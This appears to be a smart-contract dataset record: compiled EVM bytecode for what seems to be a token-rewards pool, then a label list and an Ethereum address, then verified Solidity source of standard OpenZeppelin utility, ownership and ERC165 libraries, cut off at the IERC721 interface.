f71f85b0180546001600160a01b039093166001600160a01b031990931683179055600091825260046020526040909120805460ff19169091179055565b6060806000600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561080057600080fd5b505afa158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190612d1f565b6002546040516370a0823160e01b81526001600160a01b038781166004830152929350600092909116906370a082319060240160206040518083038186803b15801561088357600080fd5b505afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb9190612d1f565b6003549091508067ffffffffffffffff8111156108e857634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610911578160200160208202803683370190505b50935060005b81811015610a095760006109626003838154811061094557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316898787611a15565b600c54600380549293506001600160a01b03909116918490811061099657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156109ca57600c546109c7906001600160a01b031682611ab3565b90505b808683815181106109eb57634e487b7160e01b600052603260045260246000fd5b60209081029190910101525080610a0181612f8c565b915050610917565b506003805480602002602001604051908101604052809291908181526020018280548015610a6057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610a42575b50505050509450505050915091565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015610ab457600080fd5b505afa158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612d1f565b6002546040516370a0823160e01b81526001600160a01b038581166004830152929350600092909116906370a082319060240160206040518083038186803b158015610b3757600080fd5b505afa158015610b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6f9190612d1f565b60035490915060005b81811015610bd357610bc160038281548110610ba457634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316868686611bc5565b80610bcb81612f8c565b915050610b78565b5050505050565b6001600160a01b0381166000908152600560205260408120544210610c17576001600160a01b038216600090815260056020526040902054610c19565b425b90505b919050565b60035460609081908067ffffffffffffffff811115610c5057634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610c79578160200160208202803683370190505b50915060005b81811015610d7c576007600060038381548110610cac57634e487b7160e01b600052603260045260246000fd5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020546006600060038481548110610d1057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054610d3f9190612f2a565b838281518110610d5f57634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610d7481612f8c565b915050610c7f565b506003805480602002602001604051908101604052809291908181526020018280548015610dd357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610db5575b50505050509250509091565b600260009054906101000a90046001600160a01b03166001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2d57600080fd5b505afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190612b2e565b6001600160a01b0316336001600160a01b031614610e955760405162461bcd60e51b81526004016101aa90612e75565b6001600160a01b038116610eeb5760405162461bcd60e51b815260206004820152601760248201527f67726f772d746f6b656e2d616464726573732d7a65726f00000000000000000060448201526064016101aa565b6001600160a01b03811660009081526004602052604090205460ff16610f535760405162461bcd60e51b815260206004820152601b60248201527f67726f772d746f6b656e2d6e6f742d7265776172642d746f6b656e000000000060448201526064016101aa565b600c546040516001600160a01b038084169216907fc6c586c49766db4941d0aabc5f53c29482efc6b62e9b1cc1a036f34b371da37290600090a3600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60038181548110610fbf57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1680610ff2575060005460ff16155b6110555760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016101aa565b600054610100900460ff16158015611077576000805461ffff19166101011790555b6001600160a01b0383166110c45760405162461bcd60e51b8152602060048201526014602482015273706f6f6c2d616464726573732d69732d7a65726f60601b60448201526064016101aa565b815161110a5760405162461bcd60e51b8152602060048201526015602482015274696e76616c69642d7265776172642d746f6b656e7360581b60448201526064016101aa565b600280546001600160a01b0319166001600160a01b03851617905581516111389060039060208501906129b3565b5060005b82518110156111af5760016004600085848151811061116b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806111a781612f8c565b91505061113c565b5080156111c2576000805461ff00191690555b505050565b60025460405163228bfd9f60e01b81523360048201526000916001600160a01b03169063228bfd9f906024016101006040518083038186803b15801561120c57600080fd5b505afa158015611220573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112449190612ca2565b505050505050509050600260009054906101000a90046001600160a01b03166001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b15801561129b57600080fd5b505afa1580156112af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d39190612b2e565b6001600160a01b0316336001600160a01b0316148061131257506001600160a01b03841660009081526004602052604090205460ff1680156113125750805b61132e5760405162461bcd60e51b81526004016101aa90612e75565b6113bf848484600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190612d1f565b611c6e565b50505050565b600260009054906101000a90046001600160a01b03166001600160a01b0316630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b15801561141357600080fd5b505afa158015611427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144b9190612b2e565b6001600160a01b0316336001600160a01b03161461147b5760405162461bcd60e51b81526004016101aa90612e75565b6111c2838383600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156114cf57600080fd5b505afa1580156114e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115079190612d1f565b612005565b6060600380548060200260200160405190810160405280929190818152602001828054801561156457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611546575b5050505050905090565b6060806000600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c157600080fd5b505afa1580156115d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f99190612d1f565b6003549091508067ffffffffffffffff81111561162657634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561164f578160200160208202803683370190505b50925060005b818110156116d95761169c6003828154811061168157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316846121dd565b8482815181106116bc57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806116d181612f8c565b915050611655565b50600380548060200260200160405190810160405280929190818152602001828054801561173057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611712575b5050505050935050509091565b600260015414156117905760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016101aa565b6002600181905554604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156117da57600080fd5b505afa1580156117ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118129190612d1f565b6002546040516370a0823160e01b81526001600160a01b038581166004830152929350600092909116906370a082319060240160206040518083038186803b15801561185d57600080fd5b505afa158015611871573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118959190612d1f565b60035490915060005b81811015611a0a576000600382815481106118c957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031690506118ec81878787611bc5565b6001600160a01b038082166000908152600b60209081526040808320938a1683529290522054801580159061199757506040516370a0823160e01b81523060048201526001600160a01b038316906370a082319060240160206040518083038186803b15801561195b57600080fd5b505afa15801561196f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119939190612d1f565b8111155b156119f5576119a78288836122a8565b816001600160a01b0316876001600160a01b03167f540798df468d7b23d11f156fdb954cb19ad414d150722a7b6d55ba369dea792e836040516119ec91815260200190565b60405180910390a35b50508080611a0290612f8c565b91505061189e565b505060018055505050565b6001600160a01b038085166000908152600a602090815260408083209387168352929052908120548190611a4987866121dd565b611a539190612f49565b90506000670de0b6b3a7640000611a6a8386612f2a565b611a749190612f0a565b6001600160a01b038089166000908152600b60209081526040808320938b1683529290522054909150611aa8908290612ef2565b979650505050505050565b600080836001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b158015611aef57600080fd5b505afa925050508015611b1f575060408051601f3d908101601f19168201909252611b1c91810190612d1f565b60015b611b9b57836001600160a01b0316633d68175c6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b5c57600080fd5b505afa158015611b70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b949190612d1f565b9050611b9e565b90505b670de0b6b3a7640000611bb18483612f2a565b611bbb9190612f0a565b9150505b92915050565b6000611bd185846121dd565b6001600160a01b03861660009081526009602052604090208190559050611bf785610bda565b6001600160a01b03808716600090815260086020526040902091909155841615610bd357611c2785858585611a15565b6001600160a01b038087166000818152600b60209081526040808320948a1680845294825280832095909555918152600a8252838120928152919052208190555050505050565b6001600160a01b038416611cbd5760405162461bcd60e51b815260206004820152601660248201527534b731b7b93932b1ba16b932bbb0b93216ba37b5b2b760511b60448201526064016101aa565b82611d0a5760405162461bcd60e51b815260206004820152601760248201527f696e636f72726563742d7265776172642d616d6f756e7400000000000000000060448201526064016101aa565b81611d575760405162461bcd60e51b815260206004820152601960248201527f696e636f72726563742d7265776172642d6475726174696f6e0000000000000060448201526064016101aa565b6001600160a01b03841660009081526004602052604090205460ff16611db65760405162461bcd60e51b815260206004820152601460248201527334b73b30b634b216b932bbb0b93216ba37b5b2b760611b60448201526064016101aa565b611dc084826121dd565b6001600160a01b0385166000908152600960209081526040808320939093556005905220544210611e1357611df58284612f0a565b6001600160a01b038516600090815260066020526040902055611e91565b6001600160a01b038416600090815260056020526040812054611e37904290612f49565b6001600160a01b03861660009081526006602052604081205491925090611e5e9083612f2a565b905083611e6b8287612ef2565b611e759190612f0a565b6001600160a01b03871660009081526006602052604090205550505b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a082319060240160206040518083038186803b158015611ed357600080fd5b505afa158015611ee7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0b9190612d1f565b9050611f178382612f0a565b6001600160a01b0386166000908152600660205260409020541115611f715760405162461bcd60e51b815260206004820152601060248201526f0e4caeec2e4c8e65ae8dede5ad0d2ced60831b60448201526064016101aa565b6001600160a01b0385166000908152600760209081526040808320869055600890915290204290819055611fa6908490612ef2565b6001600160a01b03861660008181526005602090815260409182902093909355805187815292830186905290917f6a6f77044107a33658235d41bedbbaf2fe9ccdceb313143c947a5e76e1ec8474910160405180910390a25050505050565b835183518351826120505760405162461bcd60e51b8152602060048201526015602482015274696e76616c69642d7265776172642d746f6b656e7360581b60448201526064016101aa565b816120965760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642d7265776172642d616d6f756e747360501b60448201526064016101aa565b806120e35760405162461bcd60e51b815260206004820152601860248201527f696e76616c69642d7265776172642d6475726174696f6e73000000000000000060448201526064016101aa565b81831480156120f157508083145b6121355760405162461bcd60e51b81526020600482015260156024820152740c2e4e4c2f25ad8cadccee8d05adad2e6dac2e8c6d605b1b60448201526064016101aa565b60005b838110156121d3576121c188828151811061216357634e487b7160e01b600052603260045260246000fd5b602002602001015188838151811061218b57634e487b7160e01b600052603260045260246000fd5b60200260200101518884815181106121b357634e487b7160e01b600052603260045260246000fd5b602002602001015188611c6e565b806121cb81612f8c565b915050612138565b5050505050505050565b60008161220357506001600160a01b038216600090815260096020526040902054611bbf565b6001600160a01b03831660009081526008602052604081205461222585610bda565b61222f9190612f49565b6001600160a01b038516600090815260066020526040812054919250906122569083612f2a565b905060008461226d83670de0b6b3a7640000612f2a565b6122779190612f0a565b6001600160a01b03871660009081526009602052604090205490915061229e908290612ef2565b9695505050505050565b600c546001600160a01b03848116911614156125cb5760006122ca8483611ab3565b905080156125c5576001600160a01b038085166000818152600b6020908152604080832094881683529381528382208290558351637e062a3560e11b81529351919363fc0c546a9260048083019392829003018186803b15801561232d57600080fd5b505afa158015612341573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123659190612b2e565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b1580156123aa57600080fd5b505afa1580156123be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e29190612d1f565b604051632e1a7d4d60e01b8152600481018690529091506001600160a01b03871690632e1a7d4d90602401600060405180830381600087803b15801561242757600080fd5b505af115801561243b573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152600092508391506001600160a01b038516906370a082319060240160206040518083038186803b15801561248357600080fd5b505afa158015612497573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124bb9190612d1f565b6124c59190612f49565b90506001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561256057604051632e1a7d4d60e01b81526004810182905273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d90602401600060405180830381600087803b15801561253957600080fd5b505af115801561254d573d6000803e3d6000fd5b5050505061255b86826125d6565b612574565b6125746001600160a01b03841687836126ef565b826001600160a01b0316866001600160a01b03167ff9d22c8b8042556a691815c80c733b36d6636b695259c99ca391be302bcb6ef7836040516125b991815260200190565b60405180910390a35050505b506111c2565b6111c2838383612741565b804710156126265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016101aa565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612673576040519150601f19603f3d011682016040523d82523d6000602084013e612678565b606091505b50509050806111c25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016101aa565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111c2908490612777565b6001600160a01b038084166000818152600b602090815260408083209487168352939052918220919091556111c29083836126ef565b60006127cc826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128499092919063ffffffff16565b8051909150156111c257808060200190518101906127ea9190612c88565b6111c25760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016101aa565b60606128588484600085612862565b90505b9392505050565b6060824710156128c35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016101aa565b843b6129115760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016101aa565b600080866001600160a01b0316858760405161292d9190612d7a565b60006040518083038185875af1925050503d806000811461296a576040519150601f19603f3d011682016040523d82523d6000602084013e61296f565b606091505b5091509150611aa88282866060831561298957508161285b565b8251156129995782518084602001fd5b8160405162461bcd60e51b81526004016101aa9190612e42565b828054828255906000526020600020908101928215612a08579160200282015b82811115612a0857825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906129d3565b50612a14929150612a18565b5090565b5b80821115612a145760008155600101612a19565b600082601f830112612a3d578081fd5b81356020612a52612a4d83612ece565b612e9d565b80838252828201915082860187848660051b8901011115612a71578586fd5b855b85811015612a98578135612a8681612fd3565b84529284019290840190600101612a73565b5090979650505050505050565b600082601f830112612ab5578081fd5b81356020612ac5612a4d83612ece565b80838252828201915082860187848660051b8901011115612ae4578586fd5b855b85811015612a9857813584529284019290840190600101612ae6565b80518015158114610c1c57600080fd5b600060208284031215612b23578081fd5b813561285b81612fd3565b600060208284031215612b3f578081fd5b815161285b81612fd3565b60008060408385031215612b5c578081fd5b8235612b6781612fd3565b91506020830135612b7781612fd3565b809150509250929050565b60008060408385031215612b94578182fd5b8235612b9f81612fd3565b9150602083013567ffffffffffffffff811115612bba578182fd5b612bc685828601612a2d565b9150509250929050565b600080600060608486031215612be4578081fd5b8335612bef81612fd3565b95602085013595506040909401359392505050565b600080600060608486031215612c18578283fd5b833567ffffffffffffffff80821115612c2f578485fd5b612c3b87838801612a2d565b94506020860135915080821115612c50578384fd5b612c5c87838801612aa5565b93506040860135915080821115612c71578283fd5b50612c7e86828701612aa5565b9150509250925092565b600060208284031215612c99578081fd5b61285b82612b02565b600080600080600080600080610100898b031215612cbe578384fd5b612cc789612b02565b97506020890151965060408901519550606089015194506080890151935060a0890151925060c0890151915060e089015190509295985092959890939650565b600060208284031215612d18578081fd5b5035919050565b600060208284031215612d30578081fd5b5051919050565b6000815180845260208085019450808401835b83811015612d6f5781516001600160a01b031687529582019590820190600101612d4a565b509495945050505050565b60008251612d8c818460208701612f60565b9190910192915050565b60006020825261285b6020830184612d37565b600060408252612dbc6040830185612d37565b828103602084810191909152845180835285820192820190845b81811015612a9857845183529383019391830191600101612dd6565b6020808252825482820181905260008481528281209092916040850190845b81811015612e365783546001600160a01b031683526001938401939285019201612e11565b50909695505050505050565b6000602082528251806020840152612e61816040850160208701612f60565b601f01601f19169190910160400192915050565b6020808252600e908201526d1b9bdd0b585d5d1a1bdc9a5e995960921b604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612ec657612ec6612fbd565b604052919050565b600067ffffffffffffffff821115612ee857612ee8612fbd565b5060051b60200190565b60008219821115612f0557612f05612fa7565b500190565b600082612f2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612f4457612f44612fa7565b500290565b600082821015612f5b57612f5b612fa7565b500390565b60005b83811015612f7b578181015183820152602001612f63565b838111156113bf5750506000910152565b6000600019821415612fa057612fa0612fa7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612fe857600080fd5b5056fea2646970667358221220ee7f62d95ee7a0705db46387b74201afba43ae1fefbb49d23cdbba92614aebbe64736f6c63430008030033 | [
5,
12
] |
0xf337c563770ff233d4ea71a93dd00e8a236b42f0 | /**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
